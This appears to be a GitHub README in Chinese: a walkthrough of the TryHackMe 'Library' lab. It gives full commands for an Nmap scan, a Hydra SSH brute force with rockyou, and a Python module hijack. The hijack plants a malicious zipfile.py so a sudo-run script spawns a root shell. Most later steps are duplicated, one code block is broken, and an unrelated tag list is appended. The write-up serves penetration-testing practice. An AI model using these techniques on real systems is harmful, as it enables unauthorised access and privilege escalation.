ykstudycs/TryHackMe---Library-Writeup
GitHub: ykstudycs/TryHackMe---Library-Writeup
TryHackMe Library 房间的完整通关攻略,演示了从信息枚举、SSH 暴力破解到 Python 模块劫持提权的完整渗透流程。
Stars: 0 | Forks: 0
# TryHackMe - Library 解题报告
TryHackMe 上 **Library** 房间的完整攻略。该房间侧重于基础枚举、SSH 暴力破解、Web 目录发现,以及通过 **Python 库劫持** 进行权限提升。
# 房间信息
| 类别 | 详情 |
|-----------|-----------|
| 房间 | Library |
| 平台 | TryHackMe |
| 难度 | 简单 |
| 目标操作系统 | Linux (Ubuntu) |
# 学习目标
在这个房间中,我练习了:
- 使用 Nmap 进行网络枚举
- Web 枚举
- 使用 Gobuster 进行目录发现
- 使用 Hydra 进行 SSH 暴力破解
- Linux 权限提升
- Python 模块劫持
# 第 1 步:网络扫描
第一步是识别目标机器上开放的端口和运行的服务。
```
nmap -sC -sV -O
```
### 说明
- `-sC` → 运行默认的 NSE 脚本。
- `-sV` → 检测服务版本。
- `-O` → 尝试进行操作系统检测。
### 结果
扫描发现了**两个开放端口**:
| 端口 | 服务 |
|--------|--------|
| 22 | SSH |
| 80 | HTTP |
由于存在 Web 服务器,我从 Web 枚举开始入手。
# 第 2 步:Web 枚举
我访问了运行在 80 端口上的网站,并查看了页面源代码。
### 发现
在浏览网站和检查源代码时,我没有发现任何明显的敏感信息。
但是,我注意到了一个有趣的用户名:
```
meliodas
```
这个用户名稍后在进行 SSH 攻击时派上了用场。
# 第 3 步:目录枚举
由于网站没有透露太多信息,我使用 **Gobuster** 来发现隐藏的文件和目录。
```
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt
```
### 发现
#### robots.txt
在枚举目录时,我发现了:
```
/robots.txt
```
打开该文件显示了以下内容:
```
rockyou
```
被列为了禁止抓取的条目。
这是一个强烈的暗示,表明著名的 **rockyou.txt** 密码字典稍后可能会派上用场。
#### 图片目录
在探索发现的目录时,我还找到了一个图片目录,该目录暴露了正在使用的 Apache 版本信息。
虽然这并没有直接导致漏洞利用,但它提供了关于目标环境的额外信息。
# 第 4 步:SSH 暴力破解
在这个阶段,我们掌握了:
- 运行在 22 端口的 SSH
- 一个有效的用户名:`meliodas`
- 指向 `rockyou.txt` 的提示
我决定使用 **Hydra** 执行一次有针对性的 SSH 暴力破解攻击。
```
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://
```
### 说明
- `-l meliodas` → 要攻击的用户名
- `-P rockyou.txt` → 密码字典
- `ssh://` → 目标 SSH 服务
### 结果
Hydra 成功破解了密码:
```
Username: meliodas
Password: iloveyou_
```
# 第 5 步:SSH 访问
使用发现的凭据,我连接到了目标机器。
```
ssh meliodas@
```
输入密码后:
```
iloveyou_
```
我以用户 **meliodas** 的身份成功登录。
# 第 6 步:User Flag
登录后,我搜索了用户的主目录并找到了 user flag。
```
cat /home/meliodas/user.txt
```
成功获取了 user flag。
# 第 7 步:权限提升枚举
下一个目标是获得 root 访问权限。
常见的第一步是检查 sudo 权限。
```
sudo -l
```
输出:
```
Matching Defaults entries for meliodas on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User meliodas may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
```
### 观察
该用户可以执行:
```
/home/meliodas/bak.py
```
并且拥有 root 权限,**无需密码**。
这是一个极佳的权限提升机会。
# 第 8 步:分析 Python 脚本
我检查了备份脚本。
```
cat /home/meliodas/bak.py
```
在脚本内部,我注意到了:
```
import zipfile
```
### 重要观察
该脚本导入了 Python 模块:
```
zipfile
```
Python 使用其模块搜索路径 (`sys.path`) 来搜索模块。
通常,Python 在加载标准库模块之前会先检查当前工作目录。
这种行为有时可以通过 **Python 库劫持** 来滥用。
# 第 9 步:Python 库劫持
由于脚本导入了 `zipfile`,我在当前目录中创建了自己的恶意模块,命名为:
```
zipfile.py
```
```
echo "import os; os.system('/bin/bash')" > zipfile.py
```
### 代码原理
当 Python 尝试加载 `zipfile` 模块时:
1. 它首先搜索当前目录。
2. 它找到了我们的恶意 `zipfile.py`。
3. 我们的代码将代替合法模块执行。
4. 由于该脚本是以 sudo 方式运行的,因此代码将以 root 权限执行。
# 第 10 步:执行存在漏洞的脚本
现在,我触发了被允许的 sudo 命令。
```
sudo /usr/bin/python3 /home/meliodas/bak.py
```
由于 Python 加载了我们的恶意模块,成功生成了一个 root shell。
# 第 11 步:Root 访问
验证权限:
```
id
```
输出:
```
uid=0(root) gid=0(root) groups=0(root)
```
成功提升权限!
# 第 12 步:Root Flag
获得 root 权限后,我访问了最终的 flag。
```
cat /root/root.txt
```
成功获取了 root flag。
# 总结
这个房间展示了如何将枚举过程中收集到的零散信息串联起来,从而攻破一个系统:
1. 使用 Nmap 对目标进行枚举。
2. 从网站中发现了用户名 **meliodas**。
3. 通过 `robots.txt` 找到了关于 **rockyou.txt** 的提示。
4. 使用 Hydra 暴力破解了 SSH 凭据。
5. 通过 SSH 登录系统。
6. 枚举了 sudo 权限。
7. 找到了一个可以以 root 身份执行的 Python 脚本。
8. 利用 **Python 库劫持**,劫持了 Python 的模块搜索路径。
9. 获得了 root shell 并拿到了最终的 flag。
# 使用到的工具
- Nmap
- Gobuster
- Hydra
- SSH
- Linux 枚举命令
- Python
**房间成功完成 ✅**
# 第 5 步:SSH 访问
使用发现的凭据,我连接到了目标机器。
```
ssh meliodas@
# 第 6 步:User Flag
登录后,我搜索了用户的主目录并找到了 user flag。
```
cat /home/meliodas/user.txt
```
成功获取了 user flag。
# 第 7 步:权限提升枚举
下一个目标是获得 root 访问权限。
常见的第一步是检查 sudo 权限。
```
sudo -l
```
输出:
```
Matching Defaults entries for meliodas on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User meliodas may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
```
### 观察
该用户可以执行:
```
/home/meliodas/bak.py
```
并且拥有 root 权限,**无需密码**。
这是一个极佳的权限提升机会。
# 第 8 步:分析 Python 脚本
我检查了备份脚本。
```
cat /home/meliodas/bak.py
```
在脚本内部,我注意到了:
```
import zipfile
```
### 重要观察
该脚本导入了 Python 模块:
```
zipfile
```
Python 使用其模块搜索路径 (`sys.path`) 来搜索模块。
通常,Python 在加载标准库模块之前会先检查当前工作目录。
这种行为有时可以通过 **Python 库劫持** 来滥用。
# 第 9 步:Python 库劫持
由于脚本导入了 `zipfile`,我在当前目录中创建了自己的恶意模块,命名为:
```
zipfile.py
```
```
echo "import os; os.system('/bin/bash')" > zipfile.py
```
### 代码原理
当 Python 尝试加载 `zipfile` 模块时:
1. 它首先搜索当前目录。
2. 它找到了我们的恶意 `zipfile.py`。
3. 我们的代码将代替合法模块执行。
4. 由于该脚本是以 sudo 方式运行的,因此代码将以 root 权限执行。
# 第 10 步:执行存在漏洞的脚本
现在,我触发了被允许的 sudo 命令。
```
sudo /usr/bin/python3 /home/meliodas/bak.py
```
由于 Python 加载了我们的恶意模块,成功生成了一个 root shell。
# 第 11 步:Root 访问
验证权限:
```
id
```
输出:
```
uid=0(root) gid=0(root) groups=0(root)
```
成功提升权限!
# 第 12 步:Root Flag
获得 root 权限后,我访问了最终的 flag。
```
cat /root/root.txt
```
成功获取了 root flag。
# 总结
这个房间展示了如何将枚举过程中收集到的零散信息串联起来,从而攻破一个系统:
1. 使用 Nmap 对目标进行枚举。
2. 从网站中发现了用户名 **meliodas**。
3. 通过 `robots.txt` 找到了关于 **rockyou.txt** 的提示。
4. 使用 Hydra 暴力破解了 SSH 凭据。
5. 通过 SSH 登录系统。
6. 枚举了 sudo 权限。
7. 找到了一个可以以 root 身份执行的 Python 脚本。
8. 利用 **Python 库劫持**,劫持了 Python 的模块搜索路径。
9. 获得了 root shell 并拿到了最终的 flag。
# 使用到的工具
- Nmap
- Gobuster
- Hydra
- SSH
- Linux 枚举命令
- Python
**房间成功完成 ✅**标签:API接口, CTI, 内存分配, 协议分析, 安全靶场, 权限提升, 网络安全, 网络安全审计, 逆向工具, 隐私保护